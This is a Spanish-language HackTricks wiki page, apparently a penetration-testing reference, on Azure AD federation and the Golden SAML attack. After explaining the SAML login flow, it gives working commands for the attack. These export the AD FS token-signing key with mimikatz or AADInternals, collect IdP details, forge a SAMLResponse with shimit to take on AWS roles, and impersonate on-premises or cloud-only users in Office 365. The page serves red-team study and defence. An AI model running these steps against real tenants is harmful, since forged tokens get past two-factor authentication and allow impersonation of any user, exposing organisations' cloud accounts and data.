Español - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor

Az - Federation

Support HackTricks

Información Básica

De la documentación:La Federación es un conjunto de dominios que han establecido confianza. El nivel de confianza puede variar, pero típicamente incluye autenticación y casi siempre incluye autorización. Una federación típica podría incluir un número de organizaciones que han establecido confianza para el acceso compartido a un conjunto de recursos.

Puedes federar tu entorno local con Azure AD y usar esta federación para autenticación y autorización. Este método de inicio de sesión asegura que toda la autenticación de usuarios ocurra en el entorno local. Este método permite a los administradores implementar niveles de control de acceso más rigurosos. La federación con AD FS y PingFederate está disponible.

Básicamente, en la Federación, toda la autenticación ocurre en el entorno local y el usuario experimenta SSO a través de todos los entornos de confianza. Por lo tanto, los usuarios pueden acceder a aplicaciones en la nube utilizando sus credenciales locales.

Security Assertion Markup Language (SAML) se utiliza para intercambiar toda la información de autenticación y autorización entre los proveedores.

En cualquier configuración de federación hay tres partes:

  • Usuario o Cliente

  • Proveedor de Identidad (IdP)

  • Proveedor de Servicios (SP)

(Imágenes de https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. Inicialmente, un usuario accede a una aplicación (Proveedor de Servicios o SP, como la consola de AWS o el cliente web de vSphere). Este paso podría ser omitido, llevando al cliente directamente al IdP (Proveedor de Identidad) dependiendo de la implementación específica.

  2. Posteriormente, el SP identifica el IdP apropiado (por ejemplo, AD FS, Okta) para la autenticación del usuario. Luego, elabora una AuthnRequest SAML (Security Assertion Markup Language) y redirige al cliente al IdP elegido.

  3. El IdP toma el control, autenticando al usuario. Después de la autenticación, el IdP formula una SAMLResponse y la reenvía al SP a través del usuario.

  4. Finalmente, el SP evalúa la SAMLResponse. Si se valida con éxito, lo que implica una relación de confianza con el IdP, se concede acceso al usuario. Esto marca la finalización del proceso de inicio de sesión, permitiendo al usuario utilizar el servicio.

Si deseas aprender más sobre la autenticación SAML y ataques comunes, ve a:

Pivoting

  • AD FS es un modelo de identidad basado en reclamaciones.

  • "..las reclamaciones son simplemente declaraciones (por ejemplo, nombre, identidad, grupo), hechas sobre los usuarios, que se utilizan principalmente para autorizar el acceso a aplicaciones basadas en reclamaciones ubicadas en cualquier parte de Internet."

  • Las reclamaciones para un usuario se escriben dentro de los tokens SAML y luego se firman para proporcionar confidencialidad por el IdP.

  • Un usuario se identifica por ImmutableID. Es globalmente único y se almacena en Azure AD.

  • El ImmutableID se almacena en local como ms-DS-ConsistencyGuid para el usuario y/o puede derivarse del GUID del usuario.

  • Más información en https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Ataque Golden SAML:

Golden SAML

El proceso donde un Proveedor de Identidad (IdP) produce una SAMLResponse para autorizar el inicio de sesión del usuario es fundamental. Dependiendo de la implementación específica del IdP, la respuesta puede estar firmada o encriptada utilizando la clave privada del IdP. Este procedimiento permite al Proveedor de Servicios (SP) confirmar la autenticidad de la SAMLResponse, asegurando que fue emitida por un IdP de confianza.

Se puede trazar un paralelo con el ataque de golden ticket, donde la clave que autentica la identidad y permisos del usuario (KRBTGT para tickets dorados, clave privada de firma de token para golden SAML) puede ser manipulada para forjar un objeto de autenticación (TGT o SAMLResponse). Esto permite la suplantación de cualquier usuario, otorgando acceso no autorizado al SP.

Los Golden SAML ofrecen ciertas ventajas:

  • Pueden ser creados de forma remota, sin necesidad de ser parte del dominio o federación en cuestión.

  • Siguen siendo efectivos incluso con Autenticación de Dos Factores (2FA) habilitada.

  • La clave privada de firma de token no se renueva automáticamente.

  • Cambiar la contraseña de un usuario no invalida un SAML ya generado.

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS) es un servicio de Microsoft que facilita el intercambio seguro de información de identidad entre socios comerciales de confianza (federación). Esencialmente, permite que un servicio de dominio comparta identidades de usuario con otros proveedores de servicios dentro de una federación.

Con AWS confiando en el dominio comprometido (en una federación), esta vulnerabilidad puede ser explotada para adquirir cualquier permiso en el entorno de AWS. El ataque requiere la clave privada utilizada para firmar los objetos SAML, similar a necesitar el KRBTGT en un ataque de golden ticket. El acceso a la cuenta de usuario de AD FS es suficiente para obtener esta clave privada.

Los requisitos para ejecutar un ataque golden SAML incluyen:

  • Clave privada de firma de token

  • Certificado público del IdP

  • Nombre del IdP

  • Nombre del rol (rol a asumir)

  • Dominio\nombre de usuario

  • Nombre de sesión de rol en AWS

  • ID de cuenta de Amazon

Solo los elementos en negrita son obligatorios. Los demás pueden completarse según se desee.

Para adquirir la clave privada, es necesario acceder a la cuenta de usuario de AD FS. Desde allí, la clave privada puede ser exportada del almacén personal utilizando herramientas como mimikatz. Para recopilar la otra información requerida, puedes utilizar el complemento de Microsoft.Adfs.Powershell de la siguiente manera, asegurándote de haber iniciado sesión como el usuario de ADFS:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Con toda la información, es posible olvidar un SAMLResponse válido como el usuario que deseas suplantar usando shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

On-prem -> nube

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

También es posible crear ImmutableID de usuarios solo en la nube e impersonarlos.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Referencias

Apoya a HackTricks
PreviousAz - Cloud Kerberos TrustNextAz - PHS - Password Hash Sync

Last updated